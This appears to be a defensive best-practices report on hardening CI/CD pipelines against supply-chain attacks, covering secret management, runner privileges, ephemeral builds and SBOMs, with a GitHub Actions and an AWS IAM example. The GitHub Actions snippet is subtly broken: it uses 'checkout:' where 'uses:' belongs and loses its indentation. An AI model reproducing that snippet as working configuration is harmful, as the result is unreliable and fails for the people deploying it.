Full Report
Learn how adversaries weaponize CI/CD pipelines and how continuous behavioral monitoring helps protect against software supply chain attacks.
Analysis Summary
# Best Practices: Defending Against CI/CD Subversion
## Overview
These practices address the growing trend of "Living Off the Pipeline" (LOTP), where adversaries weaponize Continuous Integration/Continuous Delivery (CI/CD) environments. Instead of deploying malware, attackers leverage legitimate build tools, secrets, and automation scripts to exfiltrate data, compromise software supply chains, and gain persistent access to cloud environments.
## Key Recommendations
### Immediate Actions
1. **Audit Pipeline Secrets:** Identify and rotate any hardcoded credentials or long-lived tokens in CI/CD configuration files (e.g., `.yaml`, `.jenkinsfile`).
2. **Enable MFA for VCS:** Enforce Multi-Factor Authentication for all users on Version Control Systems (GitHub, GitLab, Bitbucket).
3. **Implement Branch Protection:** Require at least one independent code review (Pull Request review) before merging to the main/production branch.
4. **Restrict Runner Permissions:** Ensure CI/CD runners (agents) use "Least Privilege" IAM roles rather than administrative credentials.
### Short-term Improvements (1-3 months)
1. **Continuous Behavioral Monitoring:** Deploy security agents on build servers and runners to detect anomalous process execution (e.g., a build script suddenly initiating a port scan or large data transfer).
2. **Secret Management Integration:** Migration from environment variables to dedicated secret managers (e.g., HashiCorp Vault, AWS Secrets Manager) with dynamic, short-lived credentials.
3. **Pipeline Visualization:** Map the end-to-end flow of code from commit to deployment to identify "shadow" scripts or unauthorized third-party integrations.
### Long-term Strategy (3+ months)
1. **Ephemeral Build Environments:** Shift to "clean-room" runners that are destroyed after every job to prevent persistent backdoors.
2. **Software Bill of Materials (SBOM):** Automatically generate and audit SBOMs for every build to detect unauthorized dependency changes.
3. **Zero Trust Architecture for CI/CD:** Implement identity-based micro-segmentation so that build runners can only communicate with specific, cleared destinations.
## Implementation Guidance
### For Small Organizations
- Focus on **SaaS platform security settings**. Use the built-in security features of GitHub Actions or GitLab CI.
- Prioritize **secret scanning** to prevent accidental leaks of cloud keys in public or private repos.
### For Medium Organizations
- Centralize **Runner management**. Instead of developers hosting their own runners, provide a hardened, shared pool of build agents.
- Implement **Dependency Firewalls** to prevent the "Dependency Confusion" attacks common in supply chain subversion.
### For Large Enterprises
- Establish a **Center of Excellence for DevSecOps** to standardize pipeline templates across business units.
- Implement **Runtime Protection** on CI/CD infrastructure to catch "Living Off the Pipeline" techniques that static analysis (SAST) often misses.
## Configuration Examples
**GitHub Actions Hardening Snippet:**
yaml
# Example: Restricting permissions for the GITHUB_TOKEN
permissions:
contents: read
packages: write
id-token: write # Required for OIDC authentication to AWS/GCP
jobs:
build:
runs-on: ubuntu-latest
steps:
- checkout: actions/checkout@v4
**AWS IAM Policy for Runners (Least Privilege):**
json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::production-artifacts-bucket/*",
"Condition": {
"StringEquals": { "aws:PrincipalTag/Project": "WebApp" }
}
}
]
}
## Compliance Alignment
- **NIST SP 800-204D:** Strategies for Framework-Based Software Supply Chain Integrity.
- **CIS Benchmarks:** Specific guides for Software Supply Chain Security.
- **SLSA (Supply-chain Levels for Software Artifacts):** A security framework for ensuring the integrity of software artifacts.
## Common Pitfalls to Avoid
- **Persistent Runners:** Keeping build servers alive indefinitely allows attackers to maintain persistence.
- **Over-Privileged Tokens:** Using the same "Super Admin" API key for testing, staging, and production.
- **Implicit Trust in Dependencies:** Assuming that updated open-source packages are safe without scanning their behavior.
- **Logs with Secrets:** Failing to scrub CI/CD output logs, which often inadvertently print passwords or tokens during build failures.
## Resources
- **OWASP Top 10 CI/CD Security Risks:** [https://owasp[.]org/www-project-top-10-cicd-security-risks/]
- **SLSA Framework:** [https://slsa[.]dev/]
- **SentinelLabs Research on LOTP:** [https://www[.]sentinelone[.]com/labs/]